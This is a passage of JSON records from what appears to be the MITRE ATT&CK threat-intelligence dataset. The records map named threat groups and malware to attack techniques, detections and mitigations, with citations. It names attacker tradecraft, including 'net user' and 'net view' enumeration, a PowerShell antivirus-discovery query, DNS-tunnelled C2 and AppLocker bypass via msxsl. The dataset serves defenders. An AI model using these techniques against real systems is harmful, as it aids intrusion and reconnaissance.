"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}, {"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}], "modified": "2020-03-19T19:24:50.120Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses Windows Script Components.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573", "type": "relationship", "created": "2017-05-31T21:33:27.060Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/", "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", "source_name": "Dell Lateral Movement"}], "modified": "2019-05-30T18:05:32.902Z", "description": "(Citation: Dell Lateral Movement)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--89c82970-9959-456b-9533-5803fd8008a8", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. 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Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022) can encrypt and compress files using Gzip prior to exfiltration.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-07-26T14:20:55.325Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8a468c91-7863-4569-8e5f-a71cd565478e", "type": "relationship", "created": "2020-01-24T15:05:58.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T15:05:58.613Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8a47e81d-be1f-488c-8136-40e18c70d45f", "type": "relationship", "created": "2020-06-29T02:52:31.571Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T21:18:03.506Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net user</code> to enumerate local accounts on the system.(Citation: ESET ComRAT May 2020)(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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Tricks and COMfoolery: How Ursnif Evades Detection. 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Retrieved January 19, 2021."}], "modified": "2021-01-25T16:16:36.266Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has encapsulated [Cobalt Strike](https://attack.mitre.org/software/S0154)'s C2 protocol in DNS and HTTPS.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8b86fa49-6d13-42b4-bd48-814abfd6793f", "type": "relationship", "created": "2020-06-24T12:42:35.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-24T12:42:35.464Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8b88b63a-c415-4218-b579-6a10de86b6eb", "type": "relationship", "created": "2020-02-20T16:58:50.680Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grassi, P., et al. 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Retrieved November 13, 2020."}], "modified": "2020-11-13T21:28:40.603Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can detect VMWare via its I/O port and Virtual PC via the <code>vpcext</code> instruction.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8baa00da-64da-4acb-831e-2c001399394a", "created": "2020-12-14T17:34:58.575Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:06:22.495Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) enumerates user accounts of the domain.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8babd998-d5ca-43b4-9a68-a20d5b84cf61", "type": "relationship", "created": "2021-09-16T20:22:34.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Sliver Ifconfig", "url": "https://github.com/BishopFox/sliver/blob/ea329226636ab8e470086a17f13aa8d330baad22/client/command/network/ifconfig.go", "description": "BishopFox. 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(2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}, {"source_name": "Medium Anchor DNS July 2020", "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}], "modified": "2020-09-11T15:22:21.641Z", "description": "Variants of [Anchor](https://attack.mitre.org/software/S0504) can use DNS tunneling to communicate with C2.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8bb3348e-f844-4e02-8f15-3e509478f120", "type": "relationship", "created": "2022-03-08T19:16:59.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}, {"source_name": "Trend Micro Cyclops Blink March 2022", "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. 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Retrieved February 8, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Peirates](https://attack.mitre.org/software/S0683) can query the Kubernetes API for secrets.(Citation: Peirates GitHub)", "modified": "2022-04-14T20:58:07.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--79dd477a-8226-4b3d-ad15-28623675f221", "target_ref": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8be8b96b-b69c-497a-8b38-308b8bd291ff", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito Jan 2018"}], "modified": "2020-03-17T15:03:17.054Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing via a link to get users to download and run their malware.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2019-04-24T23:10:02.398Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list file and directory information.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8bed4012-0b27-409b-8236-1b5238dd477d", "type": "relationship", "created": "2020-07-22T19:16:02.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."}], "modified": "2020-07-22T19:16:02.861Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used Google Chrome's decryption and extraction operations.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8beed6cd-0a69-47b3-9c4e-f4cc3c4dfaa2", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor newly executed processes that may abuse system services or daemons to execute commands or programs.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8bf25335-9705-4737-82cf-218832c5e1c0", "created": "2023-03-31T18:07:42.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2017", "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.", "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T13:49:11.434Z", "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used an arbitrary system service to load at system boot for persistence for [Industroyer](https://attack.mitre.org/software/S0604). They also replaced the ImagePath registry value of a Windows service with a new backdoor binary. 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Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.570Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8bfac9d6-8d6d-4a2f-9718-4015f231fdae", "type": "relationship", "created": "2022-03-15T20:02:43.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T20:02:43.828Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has checked for the presence of antivirus software with <code>powershell Get-CimInstance -Namespace root/securityCenter2 \u2013 classname antivirusproduct</code>.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c0286e0-036d-4282-9e54-6938c958b7e9", "type": "relationship", "created": "2019-06-21T16:52:53.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-20T22:43:41.446Z", "description": "Certain developer utilities should be blocked or restricted if not required.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c041b13-34d6-4da5-8a80-0dade355953d", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017) Also analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017)\n\nOn macOS, the removal of the\u00a0<code>com.apple.quarantine</code>\u00a0flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this\u00a0flag when performing updates.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SpectorOps Subverting Trust Sept 2017", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}, {"source_name": "SpectorOps Subverting Trust Sept 2017", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "source_name": "Talos Cobalt Group July 2018"}], "modified": "2019-07-26T23:38:34.070Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.(Citation: Talos Cobalt Group July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c1446c4-66b2-4b70-96df-7fd2414522be", "type": "relationship", "created": "2019-04-23T14:59:04.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-19T23:58:54.918Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8c155a65-b89f-44aa-b4c0-1374208a3fed", "created": "2022-03-25T16:21:29.468Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute <code>net view</code> on a targeted system.(Citation: NTT Security Flagpro new December 2021) ", "modified": "2022-04-13T20:16:10.242Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c1c7c51-f9bf-4163-a01b-7d922a2d1a93", "type": "relationship", "created": "2019-06-04T17:45:28.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}], "modified": "2021-09-08T19:22:44.740Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) encrypts the victims machine followed by asking the victim to pay a ransom. (Citation: SecureList SynAck Doppelg\u00e4nging May 2018)", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8c263b12-46f5-452c-908e-3bc80fba3bf5", "created": "2022-03-14T14:37:50.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Ukraine Wipers January 2022", "description": "Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.", "url": "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:42:27.859Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can enumerate connected remote logical drives.(Citation: Cisco Ukraine Wipers January 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c271707-cc73-4cb5-a554-75d74abafac9", "type": "relationship", "created": "2020-02-25T19:34:15.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T23:35:58.335Z", "description": "Disable the remote service (ex: SSH, RDP, etc.) if it is unnecessary.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8c273532-e27f-4424-a369-5373ce3652b9", "created": "2023-09-14T19:05:37.469Z", "revoked": false, "external_references": [{"source_name": "MalwareBytes Ngrok February 2020", "description": "Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.", "url": "https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-14T19:05:37.469Z", "description": "[ngrok](https://attack.mitre.org/software/S0508) has been used by threat actors to configure servers for data exfiltration.(Citation: MalwareBytes Ngrok February 2020)", "relationship_type": "uses", "source_ref": "tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8c29eb34-02dd-42c8-9324-bfad5cde2fc7", "type": "relationship", "created": "2022-03-22T17:29:01.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. 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Retrieved May 5, 2020."}], "modified": "2020-05-05T20:54:53.104Z", "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": 